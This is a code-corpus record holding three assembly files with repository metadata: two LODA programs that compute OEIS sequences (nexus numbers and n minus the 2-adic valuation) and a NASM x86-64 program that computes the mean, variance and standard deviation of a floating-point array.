afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/022/A022524.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A022524: Nexus numbers (n+1)^8 - n^8. ; 1,255,6305,58975,325089,1288991,4085185,11012415,26269505,56953279,114358881,215622815,385749025,660058335,1087101569,1732076671,2680790145,4044203135,5963602465,8616436959,12222859361,17053014175,23435111745,31764328895,42512576449,56239173951,73602471905,95372461855,122444414625,155853587039,196791037441,246620590335,306896990465,379385286655,466081485729,569234516831,691369546465,835312684575,1004217121985,1201590739519,1431325229121,1697726767295,2005548281185,2360023347615,2766901765409,3232486841311,3763674429825,4367993767295,5053650140545,5829569430399,6705444570401,7691783961055,8799961879905,10042270927775,11431976551489,12983373683391,14711845537985,16633924606015,18767355886305,21131162395679,23745712997281,26632792587615,29815674682625,33319196443135,37169836179969,41395793379071,46027071286945,51095562096735,56635134775265,62681725571359,69273431245761,76450605062975,84255955585345,92734648309695,101934410186849,111905637064351,122701504092705,134378079135455,146994439223425,160612790093439,175298588851841,191120669803135,208151373484065,226466678943455,246146339308129,267274020675231,289937444371265,314228532618175,340243557646785,368083294297919,397853176151521,429663455224095,463629365274785,499871288760415,538514927479809,579691476947711,623537804538625,670196631440895,719816718461345,772553055720799 mov $1,1 add $1,$0 pow $0,8 pow $1,8 sub $1,$0 mov $0,$1
144
1,341
0.898611
7c639738de9144e2c901921147ca37174f6c184c
2,646
asm
Assembly
a11.asm
Sahilsinggh/MP_SEM4
706ef4874544e1cc03d034b2d8ac93cb94d79daa
[ "MIT" ]
1
2021-01-06T13:44:34.000Z
2021-01-06T13:44:34.000Z
a11.asm
Sahilsinggh/MP_SEM4
706ef4874544e1cc03d034b2d8ac93cb94d79daa
[ "MIT" ]
null
null
null
a11.asm
Sahilsinggh/MP_SEM4
706ef4874544e1cc03d034b2d8ac93cb94d79daa
[ "MIT" ]
1
2020-02-26T08:28:44.000Z
2020-02-26T08:28:44.000Z
global _start; %macro print 2 mov rax,01; mov rdi,02; mov rsi,%1; mov rdx,%2; syscall; %endmacro section .data array: dq 12.65,23.45,64.54,77.34,65.65,90.64,44.12,54.22,33.33 lenArray: equ $-array; meanMsg: db "Mean = "; lenMeanMsg: equ $-meanMsg; varianceMsg: db "Variance = "; lenVarianceMsg: equ $-varianceMsg; deviationMsg: db "Standard Deviation = "; lenDeviationMsg: equ $-deviationMsg; eight: dq 8.0; hundred: dq 100.0; dot: db "."; newLine: db 10; section .bss count resq 1; mean resq 1; variance resq 1; deviation resq 1; temp resq 1; result rest 1; outAscii resb 21; digit resb 1 section .text _start: ; //Count No. of Observations mov qword[count],lenArray; fild qword[count]; fdiv qword[eight] fstp qword[count]; ; //Mean mov rsi,array; mov rcx,lenArray; fldz; init1: fadd qword[rsi]; add rsi,08h; sub rcx,08h; jnz init1; fdiv qword[count]; fstp qword[mean]; ; //Variance mov rsi,array; mov rcx,lenArray; fldz; init2: fld qword[rsi]; fsub qword[mean]; fmul st0; //ST(0)=ST(0)*ST(0) ie: Squaring fadd; //ST(0)=ST(0)+ST(1) add rsi,08h; sub rcx,08h; jnz init2; fdiv qword[count]; fstp qword[variance]; ; //Standard Deviation fld qword[variance]; fsqrt; fstp qword[deviation]; ; //Display fld qword[mean]; fstp qword[result]; print meanMsg,lenMeanMsg; call _DoubleToAscii; print outAscii,21; print newLine,1; fld qword[variance]; fstp qword[result]; print varianceMsg,lenVarianceMsg; call _DoubleToAscii; print outAscii,21; print newLine,1; fld qword[deviation]; fstp qword[result]; print deviationMsg,lenDeviationMsg call _DoubleToAscii; print outAscii,21; print newLine,1; exit: mov rax,60; mov rdi,00 syscall; _DoubleToAscii: ; DOC-STRING: ; i) converts Double value in qword[result] to packed BCD in tword[result] ; ii) converts packed BCD in tword[result] into 20 digits srting outAscii ; iii) adds decimal point (.) at 100ths place in srting outAscii fld qword[result] fmul qword[hundred]; fbstp tword[result]; mov rsi,result+9; mov rdi,0; mov rcx,10d; init0: xor rax,rax; xor rbx,rbx; mov al,byte[rsi]; mov bl,al; shr al,04h; //Higher Nibble and bl,0Fh; //Lower Nibble add al,30h; add bl,30h; mov byte[outAscii+rdi],al; inc rdi; mov byte[outAscii+rdi],bl; inc rdi dec rsi; dec rcx; jnz init0; addDecimalPoint: mov al,byte[outAscii+19]; mov bl,byte[outAscii+18]; mov byte[outAscii+18],2Eh; mov byte[outAscii+19],bl; mov byte[outAscii+20],al; end_DoubleToAscii: ret
15.564706
76
0.66062
06897ac4b2105604f5d009794bf6ac07df66ee0f
995
asm
Assembly
programs/oeis/093/A093048.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/093/A093048.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/093/A093048.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A093048: a(n) = n minus exponent of 2 in n, with a(0) = 0. ; 0,1,1,3,2,5,5,7,5,9,9,11,10,13,13,15,12,17,17,19,18,21,21,23,21,25,25,27,26,29,29,31,27,33,33,35,34,37,37,39,37,41,41,43,42,45,45,47,44,49,49,51,50,53,53,55,53,57,57,59,58,61,61,63,58,65,65,67,66,69,69,71,69,73,73,75,74,77,77,79,76,81,81,83,82,85,85,87,85,89,89,91,90,93,93,95,91,97,97,99,98,101,101,103,101,105,105,107,106,109,109,111,108,113,113,115,114,117,117,119,117,121,121,123,122,125,125,127,121,129,129,131,130,133,133,135,133,137,137,139,138,141,141,143,140,145,145,147,146,149,149,151,149,153,153,155,154,157,157,159,155,161,161,163,162,165,165,167,165,169,169,171,170,173,173,175,172,177,177,179,178,181,181,183,181,185,185,187,186,189,189,191,186,193,193,195,194,197,197,199,197,201,201,203,202,205,205,207,204,209,209,211,210,213,213,215,213,217,217,219,218,221,221,223,219,225,225,227,226,229,229,231,229,233,233,235,234,237,237,239,236,241,241,243,242,245,245,247,245,249 mov $1,$0 lpb $0 dif $0,2 sub $1,1 lpe
110.555556
889
0.699497